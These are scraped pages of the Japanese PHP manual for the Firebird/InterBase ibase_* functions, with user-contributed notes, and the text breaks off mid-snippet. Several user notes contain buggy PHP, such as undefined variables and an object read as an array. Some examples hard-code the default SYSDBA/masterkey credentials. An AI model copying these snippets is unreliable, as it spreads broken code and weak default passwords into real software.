ibase_fetch_row() は、指定した result_identifier に関連付けられた結果からデータを 1 行取得します。

ibase_fetch_row() を続けてコールすると、 結果セットの次の行を返します。行がもうない場合には false を返します。

パラメータ

result_identifier

InterBase 結果 ID。

fetch_flag

fetch_flag は、定数 IBASE_TEXT および IBASE_UNIXTIME を論理和で指定します。IBASE_TEXT を渡すと、BLOB ID のかわりに BLOB の内容自体を返します。IBASE_UNIXTIME を渡すと、日付/時刻の値を文字列ではなく Unix タイムスタンプで返します。

返り値

取得した行に対応する配列を返します。行がもうない場合には false を返します。 結果の各行は配列のオフセットに格納され、 このオフセットは 0 から始まります。

参考

  • ibase_fetch_assoc() - クエリの結果から、行を連想配列として取得する
  • ibase_fetch_object() - InterBase データベースからオブジェクトを得る

User Contributed Notes

richard at wojthegame dot com 16-Mar-2006 06:06
If you have a query

"select ... from table1 where ..."

and would like to know the cardinality of the result set by issuing a separate query

"select count(*) from table1 where ..."

then you might end up with an incorrect value since an insert or delete can occur between the running of these queries (unlikely, but possible).
The only way i can think of getting the correct value would be something along the lines of

<?php

$qry = "select ... from table1 where ...";
$result = ibase_query($tr, $qry) // assume $tr is a transaction

$count = 0;
while ($row[$count] = ibase_fetch_assoc($result))
    $count++;

?>

then $count is the cardinality, and $row the result set.
Then you can work with the result set:

<?php

for ($i = 0; $i < $count; $i++)
{
  // do something with $row[$i]
}

?>
gurroa at gurroa dot cz 08-Jul-2003 12:41
I had some troubles with moving php application from one dbase to another. From SyBase to Interbase.
Especially with missing function "ibase_num_rows($result)".

These are functions that helped me.
<?php
...
$dbh = ibase_connect ($host, $username, $password);
...
$ar_count_queries = array();

function ibasequery($query) {
  $cquery = preg_replace("/SELECT(.*?)FROM(.*?)/","SELECT COUNT(*) FROM \\2",$query);
  if ($cquery != $query) {
   $crow=get_object_vars( ibase_fetch_object( ibase_query( $GLOBALS["dbh"], $cquery ) ) );
   }
  @$res = ibase_query($GLOBALS["dbh"],$query);
  if (isset($res)) {
    if (isset($crow)) {
     $GLOBALS["ar_count_queries"][$res] = $radcountselect["COUNT"];
    }
    return $res;
  }
   return false;
}

function ibasenumrows($result) {
  return $GLOBALS["ar_count_queries"][$res];
}

function ibasefetchrow($result) {
  return get_object_vars(ibase_fetch_object($result));
}

// example
$result = ibasequery("SELECT * FROM TABLE");
$numrows = ibasenumrows($result);
echo "Number of rows: $numrows.\nContent: \n";
while ($onerow = ibasefetchrow($res)) {
  foreach($onerow as $key => $value) {
    echo $key.": ".$value.", ";
  }
  echo "\n";
}
?>
Gurroa


フィールドに関する情報を得る

  • ≪ ibase_fetch_row
  • ibase_free_event_handler ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • フィールドに関する情報を得る

ibase_field_info

(PHP 5, PHP 7 < 7.4.0)

ibase_field_info — フィールドに関する情報を得る

説明

ibase_field_info ( resource $result , int $field_number ) : array

select クエリが実行された後、フィールドに関する情報を配列として返します。

パラメータ

result

InterBase 結果 ID。

field_number

フィールドのオフセット。

返り値

配列を返します。配列に含まれるキーは name、 alias、relation、 length そして type です。

例

例1 ibase_field_info() の例

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
    $col_info = ibase_field_info($rs, $i);
    echo "name: ". $col_info['name']. "\n";
    echo "alias: ". $col_info['alias']. "\n";
    echo "relation: ". $col_info['relation']. "\n";
    echo "length: ". $col_info['length']. "\n";
    echo "type: ". $col_info['type']. "\n";
}
?>

参考

  • ibase_num_fields() - 結果セットにおけるフィールド数を得る

User Contributed Notes

tiago at econtabil dot com 13-Oct-2009 07:55
In Firebird 1.5 this function INT64 returned to the fields created as floating point numbers. In Firebird 2.x this function returns as NUMERIC (SIZE, PRECISION). Example: NUMERIC (18,2)

In Brazilian Portuguese:
No Firebird 1.5 esta funcao retornava INT64 para os campos criados como numericos com ponto flutuante. No Firebird 2.x esta funcao retorna como NUMERIC(TAMANHO, PRECISAO). Exemplo: NUMERIC(18,2)
tiago at econtabil dot com 07-Apr-2006 04:40
Example:
$db = ibase_connect($host,$username,$password, "None", 0, 3 ) or die ('Error trying connect to Database!');

$select = "SELECT * from TABLE";
$sql = ibase_query($db,$select) or die($select);

$total_fields= ibase_num_fields($sql);

for ($j = 1; $j <= $total_fields; $j++)
  {
    $info_field = ibase_field_info($sql, $j-1 );
    print("Name: " . $info_campo[1]); // print the field name
    print("Type:". $info_campo[4]); //print the field type
    print("Size: " . $info_campo[3]); // print the field size
  }
This function does not return the type from the fields as we are accustomed in interbase.
Example: Fields VARCHAR are returns as VARYING. Fields of the type CHAR return TEXT.

Tested in Firebird 1.5 Super Server.


登録済みのイベントハンドラをキャンセルする

  • ≪ ibase_field_info
  • ibase_free_query ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • 登録済みのイベントハンドラをキャンセルする

ibase_free_event_handler

(PHP 5, PHP 7 < 7.4.0)

ibase_free_event_handler — 登録済みのイベントハンドラをキャンセルする

説明

ibase_free_event_handler ( resource $event ) : bool

この関数は、event で指定した登録済みの イベントハンドラをキャンセルします。イベントに対応して登録されていた コールバック関数は、もはやコールされません。

パラメータ

event

ibase_set_event_handler() で作成したイベントリソース。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ibase_set_event_handler() - イベントが発生した際にコールされるコールバック関数を登録する

User Contributed Notes

There are no user contributed notes for this page.


プリペアドクエリにより確保されたメモリを解放する

  • ≪ ibase_free_event_handler
  • ibase_free_result ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • プリペアドクエリにより確保されたメモリを解放する

ibase_free_query

(PHP 5, PHP 7 < 7.4.0)

ibase_free_query — プリペアドクエリにより確保されたメモリを解放する

説明

ibase_free_query ( resource $query ) : bool

プリペアドクエリを解放します。

パラメータ

query

ibase_prepare() で準備したクエリ。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


結果セットを解放する

  • ≪ ibase_free_query
  • ibase_gen_id ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • 結果セットを解放する

ibase_free_result

(PHP 5, PHP 7 < 7.4.0)

ibase_free_result — 結果セットを解放する

説明

ibase_free_result ( resource $result_identifier ) : bool

結果セットを解放します。

パラメータ

result_identifier

ibase_query() あるいは ibase_execute() で作成した結果セット。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


指定した名前のジェネレータをひとつ加算し、その新しい値を返す

  • ≪ ibase_free_result
  • ibase_maintain_db ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • 指定した名前のジェネレータをひとつ加算し、その新しい値を返す

ibase_gen_id

(PHP 5, PHP 7 < 7.4.0)

ibase_gen_id — 指定した名前のジェネレータをひとつ加算し、その新しい値を返す

説明

ibase_gen_id ( string $generator , int $increment = 1 , resource $link_identifier = null ) : mixed
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

返り値

新しいジェネレータの値を整数で返します。値が大きくなりすぎた場合は文字列で返します。

User Contributed Notes

robert 11-Dec-2006 11:24
EXAMPLE:
You need to know the generator´s value after INSERT:

Before INSERT-Statement run

$nextnumber=ibase_gen_id ("GEN_NAME",1);

GEN_NAME: is the generator´s name

1: means add 1 to actual value of generator

$nextnumber: is variable to store generators value after incrementing

In the INSERT-Statement you can use $nextnumber instead of using generator directly like in:
INSERT INTO test (field1, field2) VALUES gen_id(gen_test_id, 1), 'testme');
escoric at latinmail dot com 17-Aug-2004 10:00
$sql="INSERT INTO mitabla(campo1,campo2,..campo n) VALUES(GEN_ID(mitabla1_codigo_gen,1),'contenido 1', 'contenido 2', 'contenido n' )";
mfischer at php dot net 28-Apr-2004 04:54
Question arose on php-dev:

How does ibase_gen_id() handle 64bit values?

Interbase 6/Firebird generators are always 64-bit signed integers
(Firebird's BIGINT type), regardless of the platform the client is
running.
On 64-bit platforms, this will never require conversion as PHP's int
type is 64 bits wide on those platforms. On 32-bit platforms, the
generated value is converted to a string if it exceeds the limits of a
32-bit signed integer.
(This behaviour is consistent with the ibase_fetch_*() functions, that
will use strings to represent numerical values that cannot be represented
accurately using native PHP numerical types.)

[Edited by PHP/Interbase maintainer.]


データベースサーバーでメンテナンスコマンドを実行する

  • ≪ ibase_gen_id
  • ibase_modify_user ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • データベースサーバーでメンテナンスコマンドを実行する

ibase_maintain_db

(PHP 5, PHP 7 < 7.4.0)

ibase_maintain_db — データベースサーバーでメンテナンスコマンドを実行する

説明

ibase_maintain_db ( resource $service_handle , string $db , int $action , int $argument = 0 ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Modify a user to a security database

  • ≪ ibase_maintain_db
  • ibase_name_result ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • Modify a user to a security database

ibase_modify_user

(PHP 5, PHP 7 < 7.4.0)

ibase_modify_user — Modify a user to a security database

説明

ibase_modify_user ( resource $service_handle , string $user_name , string $password , string $first_name = ? , string $middle_name = ? , string $last_name = ? ) : bool

パラメータ

service_handle

The handle on the database server service.

user_name

The login name of the database user to modify.

password

The user's new password.

first_name

The user's new first name.

middle_name

The user's new middle name.

last_name

The user's new last name.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ibase_add_user() - Add a user to a security database
  • ibase_delete_user() - Delete a user from a security database

User Contributed Notes

admin at systecdurango dot com 09-Aug-2011 08:16
ibase microsip firebird

<?php
$user_name="ABC";
$password="123";

 $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey");
ibase_modify_user($ibserv, $user_name, $password);
ibase_service_detach($ibserv);
?>

 this change te password por user ABC to 123

SYSDBA USER AND PASSWORD IS NEED TO THIS LINE

<?php $ibserv = ibase_service_attach("localhost","SYSDBA","masterkey"); ?>
_ex at navigators dot lv 24-Jan-2005 01:11
function changed in php 5! in earlier versions the syntax was:
bool ibase_modify_user ( string server, string dba_user_name, string dba_user_password, string user_name, string password [, string first_name [, string middle_name [, string last_name]]])

now it's necessary to connect to service manager, then call ibase_modify_user() and then disconnect from service manager:
    $ibserv = ibase_service_attach($host, $dba_username, $dba_password);
    ibase_modify_user($ibserv, $user_name, $password);
    ibase_service_dettach($ibserv);


結果セットに名前を割り当てる

  • ≪ ibase_modify_user
  • ibase_num_fields ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • 結果セットに名前を割り当てる

ibase_name_result

(PHP 5, PHP 7 < 7.4.0)

ibase_name_result — 結果セットに名前を割り当てる

説明

ibase_name_result ( resource $result , string $name ) : bool

この関数は、結果セットに新しい名前を割り当てます。この名前は、後で UPDATE|DELETE ... WHERE CURRENT OF name 文で使用します。

パラメータ

result

InterBase 結果セット。

name

割り当てる名前。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ibase_name_result() の例

<?php
$result = ibase_query("SELECT field1,field2 FROM table FOR UPDATE");
ibase_name_result($result, "my_cursor");

$updateqry = ibase_prepare("UPDATE table SET field2 = ? WHERE CURRENT OF my_cursor");

for ($i = 0; ibase_fetch_row($result); ++$i) {
    ibase_execute($updateqry, $i);
}
?>

参考

  • ibase_prepare() - Prepare a query for later binding of parameter placeholders and execution
  • ibase_execute() - 準備されたクエリを実行する

User Contributed Notes

There are no user contributed notes for this page.


結果セットにおけるフィールド数を得る

  • ≪ ibase_name_result
  • ibase_num_params ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • 結果セットにおけるフィールド数を得る

ibase_num_fields

(PHP 5, PHP 7 < 7.4.0)

ibase_num_fields — 結果セットにおけるフィールド数を得る

説明

ibase_num_fields ( resource $result_id ) : int

結果セットにおけるフィールド数を整数として返します。

パラメータ

result_id

InterBase 結果 ID。

返り値

フィールドの数を整数値で返します。

例

例1 ibase_num_fields() の例

<?php
$rs = ibase_query("SELECT * FROM tablename");
$coln = ibase_num_fields($rs);
for ($i = 0; $i < $coln; $i++) {
    $col_info = ibase_field_info($rs, $i);
    echo "name: " . $col_info['name'] . "\n";
    echo "alias: " . $col_info['alias'] . "\n";
    echo "relation: " . $col_info['relation'] . "\n";
    echo "length: " . $col_info['length'] . "\n";
    echo "type: " . $col_info['type'] . "\n";
}
?>

参考

  • ibase_field_info() - フィールドに関する情報を得る

User Contributed Notes

There are no user contributed notes for this page.


プリペアドクエリのパラメータ数を返す

  • ≪ ibase_num_fields
  • ibase_param_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • プリペアドクエリのパラメータ数を返す

ibase_num_params

(PHP 5, PHP 7 < 7.4.0)

ibase_num_params — プリペアドクエリのパラメータ数を返す

説明

ibase_num_params ( resource $query ) : int

この関数は、query で指定した プリペアドクエリのパラメータの数を返します。 ibase_execute() をコールする際に、 この数と同じだけのバインド引数が割り当てられている必要があります。

パラメータ

query

プリペアドクエリのハンドル。

返り値

パラメータの数を整数値で返します。

参考

  • ibase_prepare() - Prepare a query for later binding of parameter placeholders and execution
  • ibase_param_info() - プリペアドクエリのパラメータに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


プリペアドクエリのパラメータに関する情報を返す

  • ≪ ibase_num_params
  • ibase_pconnect ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • プリペアドクエリのパラメータに関する情報を返す

ibase_param_info

(PHP 5, PHP 7 < 7.4.0)

ibase_param_info — プリペアドクエリのパラメータに関する情報を返す

説明

ibase_param_info ( resource $query , int $param_number ) : array

クエリが準備された後に、パラメータについての情報を配列で返します。

パラメータ

query

InterBase プリペアドクエリのハンドル。

param_number

パラメータのオフセット。

返り値

配列を返します。配列に含まれるキーは name、 alias、relation、 length および type となります。

参考

  • ibase_field_info() - フィールドに関する情報を得る
  • ibase_num_params() - プリペアドクエリのパラメータ数を返す

User Contributed Notes

There are no user contributed notes for this page.


InterBase データベースへの持続的接続をオープンする

  • ≪ ibase_param_info
  • ibase_prepare ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • InterBase データベースへの持続的接続をオープンする

ibase_pconnect

(PHP 5, PHP 7 < 7.4.0)

ibase_pconnect — InterBase データベースへの持続的接続をオープンする

説明

ibase_pconnect ( string $database = ? , string $username = ? , string $password = ? , string $charset = ? , int $buffers = ? , int $dialect = ? , string $role = ? , int $sync = ? ) : resource

InterBase データベースへの持続的な接続をオープンします。

ibase_pconnect() の動作は ibase_connect() と非常に似ていますが、 大きな違いが二つあります。

まず、この関数は接続時に同じパラメータで既にオープンされている (持続的)リンクを探します。見つかった場合、新規接続をオープンする 代わりにそのリンクの ID が返されます。

2 番目の違いとしては、InterBase サーバーへの接続は スクリプト終了時にも閉じられないということです。 代わりに、そのリンクは今後使用するためにオープンされたままとなります (ibase_close() は ibase_pconnect() によりオープンされたリンクを閉じません)。 このため、この型のリンクは'持続的(persistent)'と呼ばれます。

パラメータ

database

databaseは接続するサーバー上のデータベース ファイルへの正しいパスである必要があります。ローカルなサーバーへの 接続でない場合、使用する接続プロトコルに応じてこの引数の前に' hostname:' (TCP/IP)、'//hostname/' (NetBEUI)、'hostname@' (IPX/SPX)のどれかをつける必要があります。

username

ユーザー名。php.ini ディレクティブ ibase.default_user で設定します。

password

username のパスワード。 php.ini ディレクティブ ibase.default_password で設定します。

charset

charset はデータベースに関するデフォルトの文字セットです。

buffers

buffers はサーバー側のキャッシュに確保されるデータベースバッファの数です。0 または省略された場合、サーバーはデフォルト値を用います。

dialect

dialect は、接続時に実行される全ての命令に 関する SQL 方言のデフォルト値を選択し、デフォルトではクライアント ライブラリでサポートされる方言のうち、最高位のものになります。 InterBase 6 以降でのみ有効です。

role

InterBase 5 以降でのみ有効です。

sync

返り値

成功した場合に InterBase リンク ID、エラー時に false を返します。

参考

  • ibase_close() - InterBase データベースへの接続を閉じる
  • ibase_connect() - データベースへの接続をオープンする

User Contributed Notes

houston_roadrunner at yahoo dot com 19-Apr-2006 08:18
To make a connection to a firebird database with pconnect many people like to use the SYSDBA, or database owner.
example:
$dbConnection = ibase_pconnect('path to db','SYSDBA','masterkey');

The above is fine unless you want to login in various user that have different permissions. To use permission make roles in the database, either as the database creator (or SYSDBA) and grant the roles to the various users.

If you login with...
$dbConnection = ibase_pconnect('path to db', 'USERNAME', 'userpassword');
...interbase will default your user to the PUBLIC role, which is created when the database is create and usualy has select rights on tables only. To get the proper role you will need to use all the parameters, like this...
$user='USERNAME';
$password='userpassword';
$role='MANAGER_HR';
$dbConnection = ibase_pconnect('path to db', $user, $password, '', 0, 3, $role, 0);

BTW - The "path to db", is formed like this...
---------------------
'localhost:c:/firebird/test_db/test.fdb'
---------------------

reading the interbase material, it states 3 connection methods, PHP appears to have selected the tcp type for us. So you can use localhost, or I suspect(never tested this myself) a ip address.


Prepare a query for later binding of parameter placeholders and execution

  • ≪ ibase_pconnect
  • ibase_query ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • Prepare a query for later binding of parameter placeholders and execution

ibase_prepare

(PHP 5, PHP 7 < 7.4.0)

ibase_prepare — Prepare a query for later binding of parameter placeholders and execution

説明

ibase_prepare ( string $query ) : resource
ibase_prepare ( resource $link_identifier , string $query ) : resource
ibase_prepare ( resource $link_identifier , string $trans , string $query ) : resource

Prepare a query for later binding of parameter placeholders and execution (via ibase_execute()).

パラメータ

query

An InterBase query.

link_identifier

An InterBase link identifier returned from ibase_connect(). If omitted, the last opened link is assumed.

trans

An InterBase transaction handle the query should be associated with. If omitted, the default transaction of the connection is assumed.

返り値

Returns a prepared query handle, or false on error.

User Contributed Notes

Andrew Champ 26-Jan-2016 03:06
<?php

/**
 * EDIT TO ABOVE: The above mentions "ibase_fetch_object".
 * In that case if should be using the object operator.
 * Example below.
 */

$query = "SELECT * FROM EMPLOYEES";
$p_sql = ibase_prepare($query);
$result = ibase_execute($p_sql);
while($row = ibase_fetch_object($result)){
echo $row->FIRSTNAME;
}
adamson dot ibus at gmail dot com 16-Aug-2012 01:14
ex.

<?php
$query = "SELECT * FROM EMPLOYEES";
$p_sql = ibase_prepare($query);
$result = ibase_execute($p_sql);
while($row = ibase_fetch_object($result)){
echo $row['FIRSTNAME'];
}


InterBase データベースでクエリを実行する

  • ≪ ibase_prepare
  • ibase_restore ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • InterBase データベースでクエリを実行する

ibase_query

(PHP 5, PHP 7 < 7.4.0)

ibase_query — InterBase データベースでクエリを実行する

説明

ibase_query ( resource $link_identifier = ? , string $query , int $bind_args = ? ) : resource

InterBase データベース上でクエリを実行します。

パラメータ

link_identifier

InterBase リンク ID。省略した場合は、 最後にオープンしたリンクを使用します。

query

InterBase クエリ。

bind_args

返り値

クエリが失敗した場合、false を返します。成功した場合、 (SELECT クエリのような) 結果の行がある場合、結果 ID を返します。 クエリが成功し、結果がない場合は true を返します。

注意:

PHP 5.0.0 以降では、INSERT・UPDATE・DELETE 文に対してはこの関数は 変更された行数を返します。後方互換性を確保するため、これらの文で クエリが成功したものの 1 行も更新されなかった場合には true を返します。

エラー / 例外

ibase_query() の実行後に "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" のようなエラーに遭遇した場合 (アクセント記号つきの文字を使用した場合などに起こります)、 文字セットを(ISO8859_1 あるいは現在の文字セットに)設定する必要があります。

例

例1 ibase_query() の例

<?php

$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';

$sth = ibase_query($dbh, $stmt) or die(ibase_errmsg());

?>

参考

  • ibase_errmsg() - エラーメッセージを返す
  • ibase_fetch_row() - InterBase データベースから 1 行分の結果を取得する
  • ibase_fetch_object() - InterBase データベースからオブジェクトを得る
  • ibase_free_result() - 結果セットを解放する

User Contributed Notes

coladict at gmail dot com 28-Aug-2015 11:18
Contrary to it's description, the function does not always execute the query, unless you try fetching the results. I discovered this through the following code:

<?php
                $result = ibase_query($dbh,"SELECT boniid FROM PROC_INS_OBONI_DELIV_ADDBONITM ( ? , ? , ? , ? , null , ? )", $bon_id , $plucode2 , $amount , $note ,  $discount);
                $this->log_add(mb_convert_encoding("SELECT boniid FROM PROC_INS_OBONI_DELIV_ADDBONITM ( " . $bon_id . ", " . $plucode2 . ", " . $amount . ", " . $note . ", " . $nullparent . ", " . $discount . " )",'utf8','cp1251'));

                if (!$result){
                    $errmsg = ibase_errmsg();
                    ibase_rollback($dbh);
                    ibase_close($dbh);

                    $this->log_add("Item (" . $mid . " - " . $plucode2 . ") : Error returned (" . __LINE__ . "): " . $errmsg);
                    return "Error sending product ( $m_name). Error message:  $errmsg";
                }

                // item data does NOT enter the database if I don't call ibase_fetch_assoc
                $row = ibase_fetch_assoc($result);
?>

This problem may be limited to FireBird 1.5 or it may not be. Either way, be wary of it.
escoric at latinmail dot com 17-Aug-2004 10:43
/* If your work environment is windows */

$link=ibase_connect ($path, $usuario, $password, 'WIN1251');
chrisg at cordell dot com dot au 03-Jun-2004 11:57
Simple function to retrieve the results of an SQL statement into an array, will also cater for BLOB fields:

<?php
function interbase_sql_exec ($sql) {
    $dataArr = array();
    $host = "svrname:path\filename.GDB";
    $username = "whatever";
    $password = "******";
    $connection = ibase_connect ($host, $username, $password,'ISO8859_1', '100', '1');
    $rid = @ibase_query ($connection, $sql);
    if ($rid===false) errorHandle(ibase_errmsg(),$sql);
    $coln = ibase_num_fields($rid);
    $blobFields = array();
    for ($i=0; $i < $coln; $i++) {
        $col_info = ibase_field_info($rid, $i);
        if ($col_info["type"]=="BLOB") $blobFields[$i] = $col_info["name"];
    }
    while ($row = ibase_fetch_row ($rid)) {
        foreach ($blobFields as $field_num=>$field_name) {
            $blobid = ibase_blob_open($row[$field_num]);
            $row[$field_num] = ibase_blob_get($blobid,102400);
            ibase_blob_close($blobid);
        }
        $dataArr[] = $row;
    }
    ibase_close ($connection);
    return $dataArr;
}
?>
SenorTZ senortz at nospam dot yahoo dot com 24-Jul-2003 04:18
Two comments on interogating system tables in Interbase or Firebird; I hope it helps.

1. if you try to build a query string to extract data from a system table (that has the form "rdb$some_name"), you should divide the "rdb$some_name" table name in your query string using the string merge operator ".".
$query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";

2. The second thing is related to the fact that you can later use (after the call to ibase_fetch_object) as field identifier the ALIAS used in the query for the "rdb$some_name" table.

Example:
$get_table_names_query = "select rdb"."$"."relation_name as TABLE_NAME from rdb"."$"."relations where rdb"."$"."system_flag=0";
//
$res_table_names_query = ibase_query($dbconnection, $get_table_names_query);
//
while ($row_table_names = ibase_fetch_object($res_table_names_query))
{
    print($row_table_names->TABLE_NAME);//alias used
}

Editor's note:
it is easier to use a backslash to protect the $-sign.
eg. "select rdb\$relation_name as TABLE_NAME from ..."
eric_cavalcanti at hotmail dot com 19-Jan-2002 12:11
Using BLOB

Insert BLOB:

 /* create blob */
$blob_id = ibase_blob_create();

 /* fill blob */
ibase_blob_add($blob_id, $var_datablob);

/* close new blob */
$blob_id_str = ibase_blob_close($blob_id);

/* insert into table  */
ibase_query("INSERT INTO BLOB_TABLE (ID, BLOB) VALUES (1, ?)",$blob_id_str);

Open BLOB:

/* query */
$set = ibase_query("SELECT BLOB FROM BLOB_TABLE WHERE ID = 1");

/* fetche a row */
$row = ibase_fetch_object($set);

/* open BLOB for read */
$blob_id = ibase_blob_open($row->BLOB);

/* get BLOB data */
$stringBLOB = ibase_blob_get($blob_id);

/* print BLOB */
echo $stringBLOB;

/* close new blob */
ibase_blob_close($blob_id);

/* free result */
ibase_free_result($set);


Initiates a restore task in the service manager and returns immediately

  • ≪ ibase_query
  • ibase_rollback_ret ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • Initiates a restore task in the service manager and returns immediately

ibase_restore

(PHP 5, PHP 7 < 7.4.0)

ibase_restore — Initiates a restore task in the service manager and returns immediately

説明

ibase_restore ( resource $service_handle , string $source_file , string $dest_db , int $options = 0 , bool $verbose = false ) : mixed

This function passes the arguments to the (remote) database server. There it starts a new restore process. Therefore you won't get any responses.

パラメータ

service_handle

A previously opened connection to the database server.

source_file

The absolute path on the server where the backup file is located.

dest_db

The path to create the new database on the server. You can also use database alias.

options

Additional options to pass to the database server for restore. The options parameter can be a combination of the following constants: IBASE_RES_DEACTIVATE_IDX, IBASE_RES_NO_SHADOW, IBASE_RES_NO_VALIDITY, IBASE_RES_ONE_AT_A_TIME, IBASE_RES_REPLACE, IBASE_RES_CREATE, IBASE_RES_USE_ALL_SPACE, IBASE_PRP_PAGE_BUFFERS, IBASE_PRP_SWEEP_INTERVAL, IBASE_RES_CREATE. Read the section about 定義済み定数 for further information.

verbose

Since the restore process is done on the database server, you don't have any chance to get its output. This argument is useless.

返り値

成功した場合に true を、失敗した場合に false を返します。

Since the restore process is done on the (remote) server, this function just passes the arguments to it. While the arguments are legal, you won't get false.

例

例1 ibase_restore() example

<?php

// Attach to database server by ip address and port
$service = ibase_service_attach ('10.1.11.200/3050', 'sysdba', 'masterkey');

// Start the restore process on database server
// Restore employee backup to the new emps.fdb database
// Don't use any special arguments
ibase_restore($service, '/srv/backup/employees.fbk', '/srv/firebird/emps.fdb');

// Free the attached connection
ibase_service_detach ($service);
?>

例2 ibase_restore() example with arguments

<?php

// Attach to database server by name and default port
$service = ibase_service_attach ('fb-server.contoso.local', 'sysdba', 'masterkey');

// Start the restore process on database server
// Restore to employee database using alias.
// Restore without indixes. Replace existing database.
ibase_restore($service, '/srv/backup/employees.fbk', 'employees.fdb', IBASE_RES_DEACTIVATE_IDX | IBASE_RES_REPLACE);

// Free the attached connection
ibase_service_detach ($service);
?>

参考

  • ibase_backup() - Initiates a backup task in the service manager and returns immediately

User Contributed Notes

There are no user contributed notes for this page.


トランザクションを閉じずにロールバックする

  • ≪ ibase_restore
  • ibase_rollback ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • トランザクションを閉じずにロールバックする

ibase_rollback_ret

(PHP 5, PHP 7 < 7.4.0)

ibase_rollback_ret — トランザクションを閉じずにロールバックする

説明

ibase_rollback_ret ( resource $link_or_trans_identifier = null ) : bool

トランザクションを閉じずにロールバックします。

パラメータ

link_or_trans_identifier

引数なしでコールされた場合、この関数はデフォルトリンクのデフォルトの トランザクションをロールバックします。引数が接続 ID だった場合、対応する 接続のデフォルトのトランザクションをロールバックします。引数が トランザクション ID だった場合、対応するトランザクションをロールバックします。 トランザクションコンテキストはそのまま維持され、このトランザクション内で 実行された文は取り消されません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


トランザクションをロールバックする

  • ≪ ibase_rollback_ret
  • ibase_server_info ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • トランザクションをロールバックする

ibase_rollback

(PHP 5, PHP 7 < 7.4.0)

ibase_rollback — トランザクションをロールバックする

説明

ibase_rollback ( resource $link_or_trans_identifier = null ) : bool

トランザクションをロールバックします。

パラメータ

link_or_trans_identifier

引数なしでコールされた場合、この関数はデフォルトリンクのデフォルトの トランザクションをロールバックします。引数として接続 ID が渡された場合、 対応する接続のデフォルトのトランザクションをロールバックします。 引数としてトランザクション ID が渡された場合、対応するトランザクションを ロールバックします。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


データベースサーバーについての情報を要求する

  • ≪ ibase_rollback
  • ibase_service_attach ≫
  • PHP Manual
  • Firebird/InterBase 関数
  • データベースサーバーについての情報を要求する

ibase_server_info

(PHP 5, PHP 7 < 7.4.0)

ibase_server_info — データベースサーバーについての情報を要求する

説明

ibase_server_info ( resource $service_handle , int $action ) : string

パラメータ

service_handle

データベースサーバへの接続

action

有効な定数

返り値

コンテクストに応じて様々な型の値を返します。

例

例1 ibase_service_attach() の例

<?php
    // リモートの Firebird サーバにアタッチする
    if (($service = ibase_service_attach('10.1.1.254/3050', 'sysdba', 'masterkey')) != FALSE) {

        // アタッチ成功

        // 情報を出力
        echo "Server version: " . ibase_server_info($service, IBASE_SVC_SERVER_VERSION) . "\n";
        echo "Server implementation: " . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION) . "\n";
        echo "Server users: " . print_r(ibase_server_info($service, IBASE_SVC_GET_USERS), true) . "\n";
        echo "Server directory: " . ibase_server_info($service, IBASE_SVC_GET_ENV) . "\n";
        echo "Server lock path: " . ibase_server_info($service, IBASE_SVC_GET_ENV_LOCK) . "\n";
        echo "Server lib path: " . ibase_server_info($service, IBASE_SVC_GET_ENV_MSG) . "\n";
        echo "Path of user db: " . ibase_server_info($service, IBASE_SVC_USER_DBPATH) . "\n";
        echo "Established connections: " . print_r(ibase_server_info($service, IBASE_SVC_SVR_DB_INFO),true) . "\n";

        // サーバからデタッチ(切断)
        ibase_service_detach($service);

    }
    else {
        // エラー時にはメッセージを出力
        $conn_error = ibase_errmsg();
        die($conn_error);
    }
?>

上の例の出力は以下となります。

Server version: LI-V3.0.4.33054 Firebird 3.0
Server implementation: Firebird/Linux/AMD/Intel/x64
Server users: Array
(
    [0] => Array
        (
            [user_name] => SYSDBA
            [first_name] => Sql
            [middle_name] => Server
            [last_name] => Administrator
            [user_id] => 0
            [group_id] => 0
        )

)

Server directory: /etc/firebird/
Server lock path: /tmp/firebird/
Server lib path: /usr/lib64/firebird/lib/
Path of user db: /var/lib/firebird/secdb/security3.fdb
Established connections: Array
(
    [attachments] => 3
    [databases] => 2
    [0] => /srv/firebird/poss.fdb
    [1] => /srv/firebird/employees.fdb
)

User Contributed Notes

kgbfernando 19-Jan-2009 03:49
A Little Example

<?php
    // get server version and implementation strings
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
